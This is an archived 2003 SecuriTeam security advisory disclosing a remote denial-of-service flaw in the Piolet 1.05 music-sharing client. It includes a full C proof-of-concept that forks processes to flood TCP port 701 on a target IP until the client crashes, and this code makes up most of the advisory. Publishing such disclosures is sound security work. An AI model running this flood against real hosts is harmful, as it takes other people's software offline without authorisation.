[NT] Piolet Client Vulnerable to a Remote DoS

• Previous message: SecuriTeam: "[UNIX] ViRobot Linux Server Contains Several Local Overflows"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 24 Aug 2003 16:48:18 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  Piolet Client Vulnerable to a Remote DoS
------------------------------------------------------------------------

SUMMARY

With <http://www.piolet.com/> Piolet you "can share and download music
faster and more easily whatever your connection. Speeds never seen before
on any network are the standard for Piolet". A vulnerability in the
product allows remote attackers to cause the product to no longer respond
to legitimate requests by flooding one of product's TCP ports.

DETAILS

Vulnerable systems:
 * Piolet version 1.05

While application is running, port 701 listens for incoming "voice chat
session". By flooding this port, a remote attacker can cause the
application to crash. This attack will go un-logged.

Exploit:
/************************************************************
* Piolet client v1.05 Remote Denial of Service *
* Proof of Concept by Luca Ercoli luca.ercoli[at]inwind.it *
************************************************************/
 
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
 

int ck,port=701,sd,cx=0,contatore=0,prec;
 
struct sockaddr_in pilot_client;
 
 
 
void ending(char *client){
 
int i;
 

pilot_client.sin_family = AF_INET;
pilot_client.sin_port = htons((u_short)port);
pilot_client.sin_addr.s_addr = (long)inet_addr(client);
 

for(i = 0; i < 100; i++){
 
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));

if(ck != 0) {
 
prec = 0;
 
if (prec == 0) contatore++;
if (prec == 1) contatore = 0;
 
if (contatore > 13) {
printf("! Remote client seems to be crashed.\n");
exit(0);
}
 
}
 
if(ck == 0) prec = 1;
 
  close(sd);
}
 
}
 
 
 

void kill_pilot(char *stringa){
 
short i;
 
  pilot_client.sin_family = AF_INET;
  pilot_client.sin_port = htons((u_short)port);
  pilot_client.sin_addr.s_addr = (long)inet_addr(stringa);
   
 
for(i = 0; i < 50; i++){
 
  
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &pilot_client, sizeof(pilot_client));

if(ck != 0) exit(0);
 
close(sd);
 
}
 
}
 
 
 

int main(int argc, char **argv)
{
 
short i;
 
 prec = 0;
 
  if(argc < 2)
  {
    printf("\nUsage: %s <client-ip>\n", argv[0]);
    exit(0);
  }
  
 
prec=0;
 
printf ("\n\n+ DoS Started...\n");
printf("+ Flooding remote client...\n");
 

for (i=0; i<12; i++) if(!fork()) kill_pilot(argv[1]);
 
printf ("+ Ending...\n");
 
ending(argv[1]);
  
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:luca.ercoli@inwind.it> Luca
Ercoli.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[UNIX] ViRobot Linux Server Contains Several Local Overflows"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]